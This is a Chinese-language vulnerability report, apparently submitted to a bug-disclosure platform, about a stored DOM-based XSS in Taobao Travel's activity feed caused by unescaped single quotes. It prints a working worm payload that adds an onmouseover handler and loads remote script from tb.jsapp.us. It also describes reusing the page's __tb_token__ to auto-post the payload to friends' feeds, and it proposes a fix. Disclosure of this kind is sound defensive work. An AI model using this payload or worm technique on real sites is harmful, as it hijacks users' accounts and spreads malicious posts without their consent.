淘宝旅行,我的旅行空间,展示我的动态,这里的问题。

动态输出内容确实转义了,但是有一个dom型的xss、同时也是持久型的。

还挺特殊的,这个要详细说一下:

1,先用"><',测试,发现转义了,但是单引号没转义。

如下:

2,常规xss是没戏了,于是就想看看是不是有dom型的,发现提交的内容会被js拍在一个a标签的data-cfg属性里,如下的commentTitle就是你提交的内容。

而js只是替换了双引号,也没有转义单引号,如下:

3,这样可以用单引号来闭合a 标签的data-cfg属性,然后插入onmouseover事件,当然要让这个a标签容易触发,还可以加个css让它变大一些,鼠标容易碰到。

如下:

淘宝某功能持久型xss 可引发蠕虫


然后,试了试蠕虫,看可不可行。

1,有长度限制,测试了110个字符左右会变成...,内容被隐藏了,只能引入外部文件了。

2,用原生js的话还是太长了,不行,看见淘宝都用KISSY,就直接用KISSY.getScript了。

3,于是前端payload诞生了:

' style=display:block;height:800px;width:600px onmouseover=window.x||KISSY.getScript('//tb.jsapp.us') f='

4,后端js也好弄,就让js自动提交发表新动态就行了,在当前页面取到__tb_token__的值,然后放到请求里,发表内容把刚才的前段payload写上。

这样,当你的好友查看你的新动态时,鼠标稍一碰到动态下面的空白区,就会自动发一个恶意的动态,然后不断扩大下去。

修复方案:

其实单引号也转义一下,保险一点。反正都用了转义,干嘛不全转义了。